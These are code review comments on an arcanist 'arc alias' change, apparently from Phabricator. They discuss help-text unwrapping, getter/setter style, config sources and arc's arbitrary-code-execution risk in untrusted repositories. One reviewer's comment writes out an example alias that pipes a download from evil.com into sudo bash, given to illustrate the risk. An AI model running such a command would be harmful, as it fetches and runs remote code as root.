When could this happen?

Kinda surprised that this isn't a libphutil function. I had to think about this for a minute.

This method could definitely use some unit tests. I'm pretty reluctant to approve this without them.

Moar tests plz.

Is this so fancy because you're trying to avoid removing trailing or leading newlines? Why not implode(" ", explode("\n", $help)); or preg_replace("/\n/", " ", $help);?

Also, I now want tooling that automatically generates inline regexr links for arguments passed to preg_replace.

I guess this is just a style thing, but I definitely would have put this^^ logic inside setHelp(). I've seen you use this pattern in a lot of other places; any particular reason?

"shorthands"

Also I'd say "frequently-used commands" or "commonly-used" commands.

$ arc alias <existing_alias_name> or similar.

Why, @epriestley. Why do you do this.

(I don't know if arc already has any arbitrary command execution abilities, but this makes it possible for a rogue developer to do something like:

arc alias doff '!curl http://evil.com | sudo bash; arc diff'

or similar, which is not great).

"toolset's binary"

I would rephrase as "A newly-added toolset which conflicts with an older alias will take precedence over the alias."

//TODO

Add a //TODO here?

Did this bleed over from the log cleanup diff?

Today, it can't.

You can have multiple sources of the same type with --config-file x --config-file y, but they won't be writable.

Soon, you can have multiple writable sources (user, local) but they won't have the same scope.

So this is mostly just future-proofing. I think the two most likely ways to get here in the future are:

• ConfigEngineExtension gets more ability to muck with config, and you write one which injects a second User config source or something;
• we add arc --config-file Q set-config --file ... or something (use case: build a standalone config file for a bot without editing JSON), and then you run arc --config-file Q --config-file R set-config --file x y. I don't really plan to do this, but I think it's not outside the realm of imagination.

It probably should be, I bet we've got at least a few callsites by now and the construction isn't obvious to look at. Got any good name ideas? phutil_array_has_natural_keys()? phutil_is_deserialized_json_list_not_object()?

The "help" is a big block of text like this:

Blah blah blah blah blah blah
blah blah blah blah blah.

**Helpful Heading**

Blah blah this command:

  $ blah blah blah

Blah blah blah blah

I want to remove only one newline from this example, "unwrapping" this line while retaining all the formatting newlines:

Blah blah blah blah blah blah  <<< Remove This Newline Only
blah blah blah blah blah.      
                               
**Helpful Heading**

Blah blah this command:

  $ blah blah blah

Blah blah blah blah

With the implode/explode or preg_replace approaches, we'd get rid of all the newlines.

The "clever regexp" approach only removes newlines surrounded on either side by non-whitespace, so only "unwrappable" lines. This isn't great.

A better solution might be to put the help in separate text files or something, but some of it currently takes a lot of "%s" parameters. That also makes it more difficult to translate.

I'm not really super happy about this piece of code but I'm not sure how we can do better without adding a lot of weirdness.

We could also disable the separate wrapping inside the Phutil part of help-printing, and maybe that's cleaner. However, it means we can't indent/wrap this block into a format other than the written-in-PHP format. I'm not sure if I want to or not.

I'm inclined to just note this and revisit it later?

I generally think this should be true:

$x = <some value>;
$object->setThing($x);
$y = $object->getThing();
assert($y === $x);

That is, if you setThing() and then getThing(), you should (usually, probably, almost) always get exactly the same thing back.

This isn't good for any particular "legal" reason, but if getThing or setThing include a hidden mutation, I think it tends to lead to code that violates expectations in some subtle way sooner or later. Even in the best case where no one makes a mistake, sometimes you discover you actually need the raw value. Then you're in trouble if you can't rename getThing() safely, since you have to add a getThingRawValue().

A different soft rule I try to follow that I can't really put my finger on a concise explanation of is something like "kind of preserve raw inputs for a long time unless there's a pretty good reason not to or this rule conflicts with a better rule?". Not much of a rule. But when something goes wrong, it's often easier to debug if the error can say "we started with input X and a bad thing happened" than if it it has to say "we started with some input, and then mutated it, and then ended up with Y, and then a bad thing happened". If you know "input X" made a bad thing happen, you can usually go put "$input = X" in the code somewhere and reproduce instantly. If you only know that mystery input X which can be mutated into Y makes bad things happen, you sometimes have to walk up the stack a step at a time before the thing reproduces.

I did consider putting this logic inside WorkflowInformation as a method like getUnwrappedHelpForDisplay() instead of here in Workflow, and that's the approach I usually prefer (that is, getX() and getXHeyBuddyThisMethodMutatesThings() feel preferable to getX() and getRawX() to me) but that class is pretty clean and this class is a big mess so I just threw it on the pile here instead.

Broadly, yes, this block is sketchy and at least merits a revisit later.

This is an existing capability and I'm not making things worse, at least.

Today, the permissions model is that arc is allowed to run as much arbitrary code as it wants without asking you.

We could consider changing this -- if we want to, now is the right time. However, I think it may be very difficult.

Consider this:

$ git clone evil_project
$ cd evil_project
$ arc unit

At least if you think about it, this can "obviously" own your machine, right? It necessarily runs arbitrary code in the evil project, and there's no guarantee that something an evil project claims is a unit test isn't just a rootkit.

And arc diff runs arc unit, so that can root you too.

Currently, running any arc command at all in an evil project can compromise your machine, because .arcconfig may load a library/extension, and that library/extension can run arbitrary code. The evil code can be self-contained in the project so it's trivial to build an attack repository which activates when you do this:

$ git clone evil_project
$ cd evil_project
$ arc help

I think this isn't really so different from this, which can also attack you:

$ git clone evil_project
$ cd evil_project
$ ./configure

...but users sort of expect that ./somebinary is more "powerful" than somebinary.

Also, because "git" and "hg" and "svn" generally are safe to run in an evil repository (bugs notwithstanding), users can transfer that expectation to arc (which "feels" like a VCS command), even though they don't have that expectation about make (which does not have the same "feeling").

We could do something like: the first time you run arc in a repository with an unrecognized origin remote URI, if stdout is a TTY, we could prompt you:

"arc" can run arbitrary code from repositories without prompting you. Running "arc" in a working copy has a security model like "make", not like "git". You should not run "arc" commands in an untrusted repository, similar to how you wouldn't run build commands in an untrusted repository.

Continue only if you trust that the code in this repository is not malicious.

Trust this repository (remote.com/path/to/repository.git)? [y/N]

I'm not sure that's good on the balance.

I do think this could use more treatment in the documentation at a minimum.

This gets cleaned up in that diff (which happens later). In this diff, it just moved up, but the diff algorithm kind of highlighted it weird since the code sort of changed from "AliasStuff, LogTrace" to "LogTrace, AliasStuff2".